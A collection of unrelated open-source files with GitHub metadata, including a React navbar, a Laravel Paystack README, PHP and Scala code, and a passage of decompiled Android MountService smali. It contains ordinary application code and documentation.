/** * * Navbar * */ import React, { Component } from 'react'; import { connect } from 'react-redux'; import { createSelector } from 'reselect'; import { push } from 'react-router-redux'; import { Link } from 'react-router'; import Menu from 'Menu'; import { openAuthModal, openPlaceModal, logout, cleanLocalDB } from 'App/actions' import IconButton from 'material-ui/IconButton'; import MoreVert from 'material-ui/svg-icons/navigation/more-vert'; import Toolbar from 'material-ui/Toolbar/Toolbar'; import * as Colors from 'material-ui/styles/colors'; import userDataSelector from 'userDataSelector'; import styles from './styles.css'; class MinNavbar extends Component { constructor(props) { super(props); this.state = {open: false}; } handleToggle = () => this.setState({open: !this.state.open}); render() { return ( <div className={ styles.wrapper }> <Menu {...this.props} open={this.state.open} handleToggle={this.handleToggle} /> <Toolbar className={ styles.container }> <IconButton onTouchTap={this.handleToggle}> <MoreVert className={ styles.icons } color={Colors.blue500} /> </IconButton> </Toolbar> </div> ); } } function mapDispatchToProps(dispatch) { return { openAuthModal: () => dispatch(openAuthModal()), openPlaceModal: () => dispatch(openPlaceModal()), cleanLocalDB: () => dispatch(cleanLocalDB()), logout: () => dispatch(logout()), dispatch, }; } MinNavbar = connect(createSelector( userDataSelector(), (userData) => ({ userData }) ), mapDispatchToProps)(MinNavbar); export default MinNavbar;
{ "content_hash": "4c56eb218b23f5f2c2fb04bd6de8f1e9", "timestamp": "", "source": "github", "line_count": 63, "max_line_length": 88, "avg_line_length": 26.07936507936508, "alnum_prop": 0.6682897139379185, "repo_name": "GuiaLa/guiala-web-app", "id": "3a7960b4d6ff194f842322a8cc7f6720718e3761", "size": "1643", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "app/components/MinNavbar/index.js", "mode": "33188", "license": "mit", "language": [ { "name": "ApacheConf", "bytes": "1526" }, { "name": "CSS", "bytes": "4009" }, { "name": "HTML", "bytes": "6556" }, { "name": "JavaScript", "bytes": "131067" } ], "symlink_target": "" }
[![Packagist](https://img.shields.io/packagist/l/ammezie/paystack-laravel.svg?style=flat-square)](LICENSE.md) [![Build Status](https://img.shields.io/travis/ammezie/paystack-laravel.svg?style=flat-square)](https://travis-ci.org/ammezie/paystack-laravel) [![Quality Score](https://img.shields.io/scrutinizer/g/ammezie/paystack-laravel.svg?style=flat-square)](https://scrutinizer-ci.com/g/ammezie/paystack-laravel) [![StyleCI](https://styleci.io/repos/76888914/shield)](https://styleci.io/repos/76888914) [![Packagist](https://img.shields.io/packagist/dt/ammezie/paystack-laravel.svg?style=flat-square)](https://packagist.org/packages/ammezie/paystack-laravel) This is a Laravel 5 wrapper for [MalikAbiola Paystack Lib](https://github.com/MalikAbiola/paystack-php-lib). ## Requirements - PHP 5.6+ - [Composer](https://getcomposer.org/doc/00-intro.md "Composer") ## Installation Add the following to your `composer.json` file "mabiola/paystack-php-lib" : "~1.0" "ammezie/paystack-laravel" : "1.0.*" and run `composer install` or `composer update`. Then add `Ammezie\Paystack\PaystackServiceProvider` to the `providers` array in your `config/app.php`: Ammezie\Paystack\PaystackServiceProvider::class Also, register the Facade like so: 'aliases' => [ ... 'Paystack' => Ammezie\Paystack\Facades\Paystack::class, ... ] ## Configuration You can publish the configuration file using this command: php artisan vendor:publish --provider="Ammezie\Paystack\PaystackServiceProvider" A configuration file named `paystack.php` will be placed in your config directory. Then set Paystack mode and the corresponding API Keys. ## Usage You can use the facade: Paystack::startOneTimeTransaction('10000', 'me@example.com'); For more information on using this package, see [https://github.com/MalikAbiola/paystack-php-lib](https://github.com/MalikAbiola/paystack-php-lib) repository.
{ "content_hash": "cfe7e31f2f74c4b148193072e3b1cfe7", "timestamp": "", "source": "github", "line_count": 51, "max_line_length": 158, "avg_line_length": 37.94117647058823, "alnum_prop": 0.7436692506459949, "repo_name": "ammezie/paystack-laravel", "id": "92ed0a39e88d4d0bc763c7dc8927b7b47bc9bba6", "size": "1955", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "README.md", "mode": "33188", "license": "mit", "language": [ { "name": "PHP", "bytes": "3517" } ], "symlink_target": "" }
<?php /** * Created by diModelsManager * Date: 19.08.2016 * Time: 23:19 */ use diCore\Helper\Banner; /** * Class diBannerDailyStatModel * Methods list for IDE * * @method integer getBannerId * @method integer getType * @method string getUri * @method string getDate * @method integer getCount * * @method bool hasBannerId * @method bool hasType * @method bool hasUri * @method bool hasDate * @method bool hasCount * * @method diBannerDailyStatModel setBannerId($value) * @method diBannerDailyStatModel setType($value) * @method diBannerDailyStatModel setUri($value) * @method diBannerDailyStatModel setDate($value) * @method diBannerDailyStatModel setCount($value) */ class diBannerDailyStatModel extends diModel { const type = diTypes::banner_daily_stat; protected $table = "banner_daily_stat"; public static function add($bannerId, $statType, $uri = '') { if (Banner::isCurrentDomainIgnored()) { return false; } /** @var diBannerModel $banner */ $banner = \diModel::create(diTypes::banner, $bannerId); if (!$banner->exists()) { return false; } $uri = $uri ?: \diRequest::server('REQUEST_URI'); $date = date("Y-m-d"); /** @var diBannerDailyStatCollection $statCol */ $statCol = \diCollection::create(self::type); /** @var diBannerDailyStatModel $stat */ $stat = $statCol ->filterByBannerId($bannerId) ->filterByUri($uri) ->filterByType($statType) ->filterByDate($date) ->getFirstItem(); if ($stat->exists()) { $stat ->setCount($stat->getCount() + 1); } else { $stat ->setBannerId($bannerId) ->setType($statType) ->setUri($uri) ->setDate($date) ->setCount(1); } $stat->save(); switch ($statType) { case Banner::STAT_VIEW: $banner ->setViewsCount($banner->getViewsCount() + 1) ->setLastViewDate(\diDateTime::format(\diDateTime::FORMAT_SQL_DATE_TIME)); break; case Banner::STAT_CLICK: $banner ->setClicksCount($banner->getClicksCount() + 1); break; } $banner->save(); return true; } }
{ "content_hash": "8a762d1fd99b6f7cdb886c7fd4bdda31", "timestamp": "", "source": "github", "line_count": 100, "max_line_length": 79, "avg_line_length": 20.65, "alnum_prop": 0.6542372881355932, "repo_name": "dimaninc/di_core", "id": "cfe8eacd1c8da975d56dd5a782b9a474c0c4569f", "size": "2065", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "php/models/diBannerDailyStatModel.php", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "245644" }, { "name": "CoffeeScript", "bytes": "24951" }, { "name": "HTML", "bytes": "10872" }, { "name": "JavaScript", "bytes": "255478" }, { "name": "PHP", "bytes": "1760522" }, { "name": "Shell", "bytes": "1742" }, { "name": "Stylus", "bytes": "101414" }, { "name": "Twig", "bytes": "32273" } ], "symlink_target": "" }
package org.locationtech.geomesa.core.csv import java.io.StringReader import com.typesafe.scalalogging.slf4j.Logging import org.joda.time.DateTime import org.junit.runner.RunWith import org.locationtech.geomesa.core.csv.CSVParser._ import org.locationtech.geomesa.utils.geotools.SimpleFeatureTypes import org.locationtech.geomesa.utils.geotools.SimpleFeatureTypes._ import org.locationtech.geomesa.utils.text.WKTUtils import org.specs2.mutable.Specification import org.specs2.runner.JUnitRunner @RunWith(classOf[JUnitRunner]) class CSVPackageTest extends Specification with Logging { "guessTypes" should { def getSchema(name: String, csv: String) = guessTypes(name, new StringReader(csv)).schema "recognize int-parsable columns" >> { val csv = "int\n1" val schema = getSchema("inttest", csv) schema mustEqual "int:Integer" } "recognize double-parsable columns" >> { val csv = "double\n1.0" val schema = getSchema("doubletest", csv) schema mustEqual "double:Double" } "recognize time-parsable columns" >> { val time = new DateTime TimeParser.timeFormats.forall { format => val csv = s"time\n${format.print(time)}" val schema = getSchema("timetest", csv) schema mustEqual "time:Date" } } "recognize point-parsable columns" >> { val csv = "point\nPOINT(0.0 0.0)" val schema = getSchema("pointtest", csv) schema mustEqual s"*point:Point:srid=4326:index=true:$OPT_INDEX_VALUE=true" } "recognize string-parsable columns" >> { val csv = "string\nargle" val schema = getSchema("stringtest", csv) schema mustEqual "string:String" } "recognize LineStrings" in { val csv = "name\n\"LINESTRING(0 2, 2 0, 8 6)\"" val schema = getSchema("test", csv) schema mustEqual s"*name:LineString:srid=4326:index=true:$OPT_INDEX_VALUE=true" } "recognize Polygons" in { val csv = "name\n\"POLYGON((20 10, 30 0, 40 10, 30 20, 20 10))\"" val schema = getSchema("test", csv) schema mustEqual s"*name:Polygon:srid=4326:index=true:$OPT_INDEX_VALUE=true" } "recognize MultiLineStrings" in { val csv = "name\n\"MULTILINESTRING((0 2, 2 0, 8 6),(0 2, 2 0, 8 6))\"" val schema = getSchema("test", csv) schema mustEqual s"*name:MultiLineString:srid=4326:index=true:$OPT_INDEX_VALUE=true" } "recognize MultiPoints" in { val csv = "name\n\"MULTIPOINT(0 0, 2 2)\"" val schema = getSchema("test", csv) schema mustEqual s"*name:MultiPoint:srid=4326:index=true:$OPT_INDEX_VALUE=true" } "recognize MultiPolygons" in { val csv = "name\n\"MULTIPOLYGON(((-1 0, 0 1, 1 0, 0 -1, -1 0)), ((-2 6, 1 6, 1 3, -2 3, -2 6)), ((-1 5, 2 5, 2 2, -1 2, -1 5)))\"" val schema = getSchema("test", csv) schema mustEqual s"*name:MultiPolygon:srid=4326:index=true:$OPT_INDEX_VALUE=true" } } "buildFeatureCollection" should { val geomSchema = "int:Integer, double:Double, time:Date,* point:Point:srid=4326:index=true, string:String" val geomSFT = SimpleFeatureTypes.createType("geomType", geomSchema) val geomCSVHeader = "int,double,time,point,string" val geomCSVLines = Seq( "1,1.0,2014-12-08T16:18:31.031+0000,POINT(0.1 1.2),argle", "2,3.0,2014-12-08T16:18:31.031+0000,POINT(2.5 8.1),bargle", "5,8.0,2014-12-08T16:18:31.031+0000,POINT(3.2 1.3),foo", "2,3.0,2014-12-08T16:18:31.031+0000,POINT(4.5 5.8),bar", "1,7.0,2014-12-08T16:18:31.031+0000,POINT(9.1 4.4),baz" ) val geomCSVBody = geomCSVLines.mkString("\n") val geomCSV = s"$geomCSVHeader\n$geomCSVBody" "parse CSVs using WKTs" >> { val fc = buildFeatureCollection(new StringReader(geomCSV), true, geomSFT, None) fc.size mustEqual geomCSVLines.size } "parse CSVs without headers" >> { val fc = buildFeatureCollection(new StringReader(geomCSVBody), false, geomSFT, None) fc.size mustEqual geomCSVLines.size } val latlonSchema = "lat:Double, lon:Double, time:Date,* point:Point:srid=4326:index=true" val latlonSFT = SimpleFeatureTypes.createType("latlonType", latlonSchema) val latlonCSVHeader = "lat,lon,time" val latlonCSVLines = Seq( "0.1,1.2,2014-12-08T16:18:31.031+0000", "2.5,8.1,2014-12-08T16:18:31.031+0000", "3.2,1.3,2014-12-08T16:18:31.031+0000", "4.5,5.8,2014-12-08T16:18:31.031+0000", "9.1,4.4,2014-12-08T16:18:31.031+0000" ) val latlonCSVBody = latlonCSVLines.mkString("\n") val latlonCSV = s"$latlonCSVHeader\n$latlonCSVBody" "parse CSVs using LatLon" >> { val fc = buildFeatureCollection(new StringReader(latlonCSV), true, latlonSFT, Some(("lat","lon"))) fc.size mustEqual latlonCSVLines.size } } }
{ "content_hash": "0b36d4d8e8490e3bf1e546ed5ad76fb8", "timestamp": "", "source": "github", "line_count": 127, "max_line_length": 136, "avg_line_length": 38.031496062992126, "alnum_prop": 0.65527950310559, "repo_name": "mmatz-ccri/geomesa", "id": "7c263e88ce5dafe3d170520365b32c6da2a64f7b", "size": "5445", "binary": false, "copies": "4", "ref": "refs/heads/accumulo1.5.x/1.x", "path": "geomesa-core/src/test/scala/org/locationtech/geomesa/core/csv/CSVPackageTest.scala", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "HTML", "bytes": "19533" }, { "name": "Java", "bytes": "46362" }, { "name": "JavaScript", "bytes": "7418" }, { "name": "Scala", "bytes": "2303826" }, { "name": "Shell", "bytes": "16134" } ], "symlink_target": "" }
{% extends "base.html" %} {% include 'messages.html' %} {% block content %} <div class="container"> <div class="row"> <div class="col-xs-12 container-padded"> <div class="col-xs-4 border-grey-right"> <h1>Delete</h1> <h1>{{category.name}}?</h1> </div> <div class="col-md-8"> <form action="{{ url_for('deleteCategory', category_id=category.id)}}" method='post'> <button type="submit" class="btn btn-primary btn-block">Delete</button> </form> <a href="{{url_for('showCategories',category_id = category.id)}}"> <button name="cancel" class="btn btn-danger btn-block">Cancel</button> </a> </div> </div> </div> </div> {% endblock %}
{ "content_hash": "4d5d5d930267acad86aacef89ed6f5f0", "timestamp": "", "source": "github", "line_count": 27, "max_line_length": 105, "avg_line_length": 33.7037037037037, "alnum_prop": 0.45384615384615384, "repo_name": "gevannmullins/linux_server", "id": "621a2d4369b687d31b0315833622027007ebf355", "size": "910", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "templates/delete_category.html", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "1187" }, { "name": "HTML", "bytes": "22584" }, { "name": "JavaScript", "bytes": "3396" }, { "name": "Python", "bytes": "27698" } ], "symlink_target": "" }
/** * This package contains <i>Check Digit</i> validation routines. */ package org.apache.bval.extras.constraints.checkdigit;
{ "content_hash": "288a3b5a592b14053b8417c1018ec106", "timestamp": "", "source": "github", "line_count": 6, "max_line_length": 64, "avg_line_length": 21.666666666666668, "alnum_prop": 0.7384615384615385, "repo_name": "dblevins/bval", "id": "a81b2edb5e2a7d4b571e9d416b80930b682ad50f", "size": "935", "binary": false, "copies": "4", "ref": "refs/heads/bval-174-voidreturns", "path": "bval-extras/src/main/java/org/apache/bval/extras/constraints/checkdigit/package-info.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "Java", "bytes": "1203566" } ], "symlink_target": "" }
@interface WindAdRequest : NSObject @property (nonatomic,copy) NSString *userId; @property (nonatomic,copy) NSString *placementId; //做为扩展参数使用 @property (nonatomic,strong) NSDictionary *options; + (instancetype)request; @end
{ "content_hash": "18edaa6eabe343d8b5b88d5d52d17cea", "timestamp": "", "source": "github", "line_count": 14, "max_line_length": 51, "avg_line_length": 16.5, "alnum_prop": 0.7662337662337663, "repo_name": "soulgame/CocoaPods-TGSDK", "id": "187299ecd1bda231b8c4131a1726bdc705a8b2c4", "size": "415", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "TGSDK/frameworks/WindSDK.framework/Headers/WindAdRequest.h", "mode": "33261", "license": "mit", "language": [ { "name": "C", "bytes": "6903" }, { "name": "HTML", "bytes": "820" }, { "name": "Objective-C", "bytes": "837627" }, { "name": "Ruby", "bytes": "2947" } ], "symlink_target": "" }
<!DOCTYPE html><html lang="en"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="viewport" content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;"> <meta charset="utf-8"> <title>ArangoDB PHP client API » \ArangoDBClient\ValueValidator</title> <meta name="author" content="Mike van Riel"> <meta name="description" content=""> <link href="../css/template.css" rel="stylesheet" media="all"> <script src="../js/jquery-1.7.1.min.js" type="text/javascript"></script><script src="../js/jquery-ui-1.8.2.custom.min.js" type="text/javascript"></script><script src="../js/jquery.mousewheel.min.js" type="text/javascript"></script><script src="../js/bootstrap.js" type="text/javascript"></script><script src="../js/template.js" type="text/javascript"></script><script src="../js/prettify/prettify.min.js" type="text/javascript"></script><link rel="shortcut icon" href="../img/favicon.ico"> <link rel="apple-touch-icon" href="../img/apple-touch-icon.png"> <link rel="apple-touch-icon" sizes="72x72" href="../img/apple-touch-icon-72x72.png"> <link rel="apple-touch-icon" sizes="114x114" href="../img/apple-touch-icon-114x114.png"> </head> <body> <div class="navbar navbar-fixed-top"> <div class="navbar-inner"><div class="container"> <a class="btn btn-navbar" data-toggle="collapse" data-target=".nav-collapse"><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></a><a class="brand" href="../index.html">ArangoDB PHP client API</a><div class="nav-collapse"><ul class="nav"> <li class="dropdown"> <a href="#api" class="dropdown-toggle" data-toggle="dropdown"> API Documentation <b class="caret"></b></a><ul class="dropdown-menu"> <li><a>Packages</a></li> <li><a href="../packages/ArangoDBClient.html"><i class="icon-folder-open"></i> ArangoDBClient</a></li> </ul> </li> <li class="dropdown" id="charts-menu"> <a href="#charts" class="dropdown-toggle" data-toggle="dropdown"> Charts <b class="caret"></b></a><ul class="dropdown-menu"><li><a href="../graph_class.html"><i class="icon-list-alt"></i> Class hierarchy diagram</a></li></ul> </li> <li class="dropdown" id="reports-menu"> <a href="#reports" class="dropdown-toggle" data-toggle="dropdown"> Reports <b class="caret"></b></a><ul class="dropdown-menu"> <li><a href="../errors.html"><i class="icon-remove-sign"></i> Errors  <span class="label label-info">25</span></a></li> <li><a href="../markers.html"><i class="icon-map-marker"></i> Markers  <ul></ul></a></li> <li><a href="../deprecated.html"><i class="icon-stop"></i> Deprecated elements  <span class="label label-info">15</span></a></li> </ul> </li> </ul></div> </div></div> <div class="go_to_top"><a href="#___" style="color: inherit">Back to top  <i class="icon-upload icon-white"></i></a></div> </div> <div id="___" class="container"> <noscript><div class="alert alert-warning"> Javascript is disabled; several features are only available if Javascript is enabled. </div></noscript> <div class="row"> <div class="span4"> <div xmlns:php="http://php.net/xsl" class="btn-toolbar"> <div class="btn-group visibility" data-toggle="buttons-checkbox"> <button class="btn public active" title="Show public elements">Public</button><button class="btn protected" title="Show protected elements">Protected</button><button class="btn private" title="Show private elements">Private</button><button class="btn inherited active" title="Show inherited elements">Inherited</button> </div> <div class="btn-group view pull-right" data-toggle="buttons-radio"> <button class="btn details" title="Show descriptions and method names"><i class="icon-list"></i></button><button class="btn simple" title="Show only method names"><i class="icon-align-justify"></i></button> </div> </div> <ul xmlns:php="http://php.net/xsl" class="side-nav nav nav-list"><li class="nav-header"> <i title="Methods" class="icon-custom icon-method"></i> Methods <ul><li class="method public "><a href="#method_validate" title="validate() :: Validate the value of a variable"><span class="description">Validate the value of a variable</span><pre>validate()</pre></a></li></ul> </li></ul> </div> <div class="span8"> <a xmlns:php="http://php.net/xsl" id="\ArangoDBClient\ValueValidator"></a><ul xmlns:php="http://php.net/xsl" class="breadcrumb"> <li> <a href="../index.html"><i title="Classes" class="icon-custom icon-class"></i></a><span class="divider">\</span> </li> <li><a href="../namespaces/ArangoDBClient.html">ArangoDBClient</a></li> <li class="active"> <span class="divider">\</span><a href="../classes/ArangoDBClient.ValueValidator.html">ValueValidator</a> </li> </ul> <div xmlns:php="http://php.net/xsl" class="element class"> <p class="short_description">A simple validator for values to be stored in the database</p> <div class="details"> <div class="long_description"></div> <table class="table table-bordered"> <tr> <th>package</th> <td><a href="../packages/ArangoDBClient.html">ArangoDBClient</a></td> </tr> <tr> <th>since</th> <td>0.2</td> </tr> </table> <h3> <i title="Methods" class="icon-custom icon-method"></i> Methods</h3> <a id="method_validate"></a><div class="element clickable method public method_validate " data-toggle="collapse" data-target=".method_validate .collapse" title="public"> <h2>Validate the value of a variable</h2> <pre>validate(mixed $value) : void</pre> <div class="labels"><span class="label">Static</span></div> <div class="row collapse"><div class="detail-description"> <div class="long_description"><p>Allowed value types are string, integer, double and boolean. Arrays are also allowed if they contain only one of the former types.</p></div> <h3>Parameters</h3> <div class="subelement argument"> <h4>$value</h4> <code>mixed</code><ul> <li>value to validate</li> </ul></div> <h3>Exceptions</h3> <table class="table table-bordered"><tr> <th><code>\ArangoDBClient\ClientException</code></th> <td></td> </tr></table> </div></div> </div> </div> </div> </div> </div> <div class="row"><footer class="span12"> Template is built using <a href="http://twitter.github.com/bootstrap/">Twitter Bootstrap 2</a> and icons provided by <a href="http://glyphicons.com/">Glyphicons</a>.<br> Documentation is powered by <a href="http://www.phpdoc.org/">phpDocumentor 2.9.0</a> and<br> generated on 2019-08-19T13:30:49+02:00.<br></footer></div> </div> </body> </html>
{ "content_hash": "b3813ac0a293353690157833da050c5a", "timestamp": "", "source": "github", "line_count": 120, "max_line_length": 489, "avg_line_length": 55.34166666666667, "alnum_prop": 0.6649600963710285, "repo_name": "arangodb/arangodb-php", "id": "fa0cfda0ad3748f86c35eef3607bee04da0b32ac", "size": "6657", "binary": false, "copies": "1", "ref": "refs/heads/devel", "path": "docs/classes/ArangoDBClient.ValueValidator.html", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "PHP", "bytes": "1185595" }, { "name": "Shell", "bytes": "1037" } ], "symlink_target": "" }
package io.druid.query; import com.metamx.emitter.service.ServiceEmitter; import io.druid.java.util.common.guava.Sequence; import java.util.Map; import java.util.concurrent.atomic.AtomicLong; public class FluentQueryRunnerBuilder<T> { final QueryToolChest<T, Query<T>> toolChest; public FluentQueryRunner create(QueryRunner<T> baseRunner) { return new FluentQueryRunner(baseRunner); } public FluentQueryRunnerBuilder(QueryToolChest<T, Query<T>> toolChest) { this.toolChest = toolChest; } public class FluentQueryRunner implements QueryRunner<T> { private QueryRunner<T> baseRunner; public FluentQueryRunner(QueryRunner<T> runner) { this.baseRunner = runner; } @Override public Sequence<T> run( Query<T> query, Map<String, Object> responseContext ) { return baseRunner.run(query, responseContext); } public FluentQueryRunner from(QueryRunner<T> runner) { return new FluentQueryRunner(runner); } public FluentQueryRunner applyPostMergeDecoration() { return from( new FinalizeResultsQueryRunner<T>( toolChest.postMergeQueryDecoration( baseRunner ), toolChest ) ); } public FluentQueryRunner applyPreMergeDecoration() { return from( new UnionQueryRunner<T>( toolChest.preMergeQueryDecoration( baseRunner ) ) ); } public FluentQueryRunner emitCPUTimeMetric(ServiceEmitter emitter) { return from( CPUTimeMetricQueryRunner.safeBuild( baseRunner, toolChest, emitter, new AtomicLong(0L), true ) ); } public FluentQueryRunner postProcess(PostProcessingOperator<T> postProcessing) { return from( postProcessing != null ? postProcessing.postProcess(baseRunner) : baseRunner ); } public FluentQueryRunner mergeResults() { return from( toolChest.mergeResults(baseRunner) ); } } }
{ "content_hash": "a721ca28d628642e641d97d23a60232c", "timestamp": "", "source": "github", "line_count": 96, "max_line_length": 82, "avg_line_length": 22.572916666666668, "alnum_prop": 0.6220581449007845, "repo_name": "zhihuij/druid", "id": "71bf44451cda44c076e5bda79b885def4a615a62", "size": "2972", "binary": false, "copies": "2", "ref": "refs/heads/master", "path": "processing/src/main/java/io/druid/query/FluentQueryRunnerBuilder.java", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "ANTLR", "bytes": "1406" }, { "name": "CSS", "bytes": "11623" }, { "name": "HTML", "bytes": "26599" }, { "name": "Java", "bytes": "15330218" }, { "name": "JavaScript", "bytes": "293272" }, { "name": "Makefile", "bytes": "659" }, { "name": "PostScript", "bytes": "5" }, { "name": "Protocol Buffer", "bytes": "552" }, { "name": "R", "bytes": "17002" }, { "name": "Roff", "bytes": "3617" }, { "name": "Shell", "bytes": "3997" }, { "name": "TeX", "bytes": "399444" }, { "name": "Thrift", "bytes": "199" } ], "symlink_target": "" }
<?php namespace Okatea\Modules\Development\Admin\Controller; use Okatea\Admin\Controller; class Index extends Controller { public function page() { if (!$this->okt['visitor']->checkPerm('development_usage')) { return $this->serve401(); } return $this->render('Development/Admin/Templates/Index', []); } }
{ "content_hash": "d077de01bbbe00593a4b39a97eb2f69b", "timestamp": "", "source": "github", "line_count": 19, "max_line_length": 64, "avg_line_length": 17.157894736842106, "alnum_prop": 0.6901840490797546, "repo_name": "forxer/okatea", "id": "5543601c8b2ed43f7dc7a22bc41cb68195255265", "size": "494", "binary": false, "copies": "1", "ref": "refs/heads/develop", "path": "Okatea/Modules/Development/Admin/Controller/Index.php", "mode": "33188", "license": "mit", "language": [ { "name": "ASP", "bytes": "29856" }, { "name": "CSS", "bytes": "744446" }, { "name": "JavaScript", "bytes": "2824582" }, { "name": "PHP", "bytes": "7253593" } ], "symlink_target": "" }
package com.norbitltd.spoiwo.model.enums object PageOrder { lazy val DownThenOver = PageOrder("DownThenOver") lazy val OverThenDown = PageOrder("OverThenDown") } case class PageOrder(value : String) { override def toString = value }
{ "content_hash": "bd5f3feba7fdb13376e20165240d85be", "timestamp": "", "source": "github", "line_count": 13, "max_line_length": 51, "avg_line_length": 18.76923076923077, "alnum_prop": 0.75, "repo_name": "intracer/spoiwo", "id": "ba9e2f9cb4df391a853263fe26df2b523e2f4482", "size": "244", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "src/main/scala/com/norbitltd/spoiwo/model/enums/PageOrder.scala", "mode": "33188", "license": "mit", "language": [ { "name": "Scala", "bytes": "160892" } ], "symlink_target": "" }
const TeeworldsConnection = require('./teeworlds-connection'); const protocol = require('./protocol'); const { inetNtop } = require('./utils'); class TeeworldsMaster { constructor(host, port = 8300) { if (!host) throw new Error('Undefined host'); if (!port) throw new Error('Undefined port'); this.client = new TeeworldsConnection(host, parseInt(port)); } listServers(timeout = 30000) { return this.client.request(protocol.SERVERBROWSE_GETLIST, protocol.SERVERBROWSE_LIST, timeout).then((response) => { return this.parseResponse(response); }); } parseResponse(response) { return response.map((buf) => { return { host: inetNtop(buf.slice(2, -2)), port: buf.slice(-2).readUInt16BE(), }; }); } } module.exports = TeeworldsMaster;
{ "content_hash": "70bb0825c2dbe82aca9fe25241d2e226", "timestamp": "", "source": "github", "line_count": 31, "max_line_length": 119, "avg_line_length": 26.06451612903226, "alnum_prop": 0.6522277227722773, "repo_name": "black-roland/teeworlds-info-js", "id": "d1ea2fc9d72f306fc3daa25826902986b4851fa4", "size": "808", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "lib/teeworlds-master.js", "mode": "33188", "license": "mit", "language": [ { "name": "JavaScript", "bytes": "1724" } ], "symlink_target": "" }
.class Lcom/android/server/MountService; .super Landroid/os/storage/IMountService$Stub; .source "MountService.java" # interfaces .implements Lcom/android/server/INativeDaemonConnectorCallbacks; .implements Lcom/android/server/Watchdog$Monitor; # annotations .annotation system Ldalvik/annotation/MemberClasses; value = { Lcom/android/server/MountService$UnmountObbAction;, Lcom/android/server/MountService$MountObbAction;, Lcom/android/server/MountService$ObbAction;, Lcom/android/server/MountService$ObbActionHandler;, Lcom/android/server/MountService$MountServiceBinderListener;, Lcom/android/server/MountService$MountServiceHandler;, Lcom/android/server/MountService$MountShutdownLatch;, Lcom/android/server/MountService$ShutdownCallBack;, Lcom/android/server/MountService$UmsEnableCallBack;, Lcom/android/server/MountService$UnmountCallBack;, Lcom/android/server/MountService$DefaultContainerConnection;, Lcom/android/server/MountService$ObbState;, Lcom/android/server/MountService$VoldResponseCode;, Lcom/android/server/MountService$VolumeState; } .end annotation # static fields .field private static final CRYPTO_ALGORITHM_KEY_SIZE:I = 0x80 .field public static final CRYPTO_TYPES:[Ljava/lang/String; .field private static final DEBUG_EVENTS:Z = false .field private static final DEBUG_OBB:Z = false .field private static final DEBUG_UNMOUNT:Z = false .field static final DEFAULT_CONTAINER_COMPONENT:Landroid/content/ComponentName; .field private static final H_FSTRIM:I = 0x5 .field private static final H_SYSTEM_READY:I = 0x4 .field private static final H_UNMOUNT_MS:I = 0x3 .field private static final H_UNMOUNT_PM_DONE:I = 0x2 .field private static final H_UNMOUNT_PM_UPDATE:I = 0x1 .field private static final LAST_FSTRIM_FILE:Ljava/lang/String; = "last-fstrim" .field private static final LOCAL_LOGD:Z = false .field private static final MAX_CONTAINERS:I = 0xfa .field private static final MAX_UNMOUNT_RETRIES:I = 0x4 .field private static final OBB_FLUSH_MOUNT_STATE:I = 0x5 .field private static final OBB_MCS_BOUND:I = 0x2 .field private static final OBB_MCS_RECONNECT:I = 0x4 .field private static final OBB_MCS_UNBIND:I = 0x3 .field private static final OBB_RUN_ACTION:I = 0x1 .field private static final PBKDF2_HASH_ROUNDS:I = 0x400 .field private static final RETRY_UNMOUNT_DELAY:I = 0x1e .field private static final TAG:Ljava/lang/String; = "MountService" .field private static final TAG_STORAGE:Ljava/lang/String; = "storage" .field private static final TAG_STORAGE_LIST:Ljava/lang/String; = "StorageList" .field private static final VOLD_TAG:Ljava/lang/String; = "VoldConnector" .field private static final WATCHDOG_ENABLE:Z .field static sSelf:Lcom/android/server/MountService; # instance fields .field private final mAsecMountSet:Ljava/util/HashSet; .annotation system Ldalvik/annotation/Signature; value = { "Ljava/util/HashSet", "<", "Ljava/lang/String;", ">;" } .end annotation .end field .field private final mAsecsScanned:Ljava/util/concurrent/CountDownLatch; .field private final mConnectedSignal:Ljava/util/concurrent/CountDownLatch; .field private final mConnector:Lcom/android/server/NativeDaemonConnector; .field private mContainerService:Lcom/android/internal/app/IMediaContainerService; .field private final mContext:Landroid/content/Context; .field private final mDefContainerConn:Lcom/android/server/MountService$DefaultContainerConnection; .field private mEmulatedTemplate:Landroid/os/storage/StorageVolume; .field private final mHandler:Landroid/os/Handler; .field private mLastMaintenance:J .field private final mLastMaintenanceFile:Ljava/io/File; .field private final mListeners:Ljava/util/ArrayList; .annotation system Ldalvik/annotation/Signature; value = { "Ljava/util/ArrayList", "<", "Lcom/android/server/MountService$MountServiceBinderListener;", ">;" } .end annotation .end field .field private final mObbActionHandler:Lcom/android/server/MountService$ObbActionHandler; .field private final mObbMounts:Ljava/util/Map; .annotation system Ldalvik/annotation/Signature; value = { "Ljava/util/Map", "<", "Landroid/os/IBinder;", "Ljava/util/List", "<", "Lcom/android/server/MountService$ObbState;", ">;>;" } .end annotation .end field .field private final mObbPathToStateMap:Ljava/util/Map; .annotation system Ldalvik/annotation/Signature; value = { "Ljava/util/Map", "<", "Ljava/lang/String;", "Lcom/android/server/MountService$ObbState;", ">;" } .end annotation .end field .field private mPms:Lcom/android/server/pm/PackageManagerService; .field private mSendUmsConnectedOnBoot:Z .field private volatile mSystemReady:Z .field private mUmsAvailable:Z .field private mUmsEnabling:Z .field private final mUsbReceiver:Landroid/content/BroadcastReceiver; .field private final mUserReceiver:Landroid/content/BroadcastReceiver; .field private final mVolumeStates:Ljava/util/HashMap; .annotation build Lcom/android/internal/annotations/GuardedBy; value = "mVolumesLock" .end annotation .annotation system Ldalvik/annotation/Signature; value = { "Ljava/util/HashMap", "<", "Ljava/lang/String;", "Ljava/lang/String;", ">;" } .end annotation .end field .field private final mVolumes:Ljava/util/ArrayList; .annotation build Lcom/android/internal/annotations/GuardedBy; value = "mVolumesLock" .end annotation 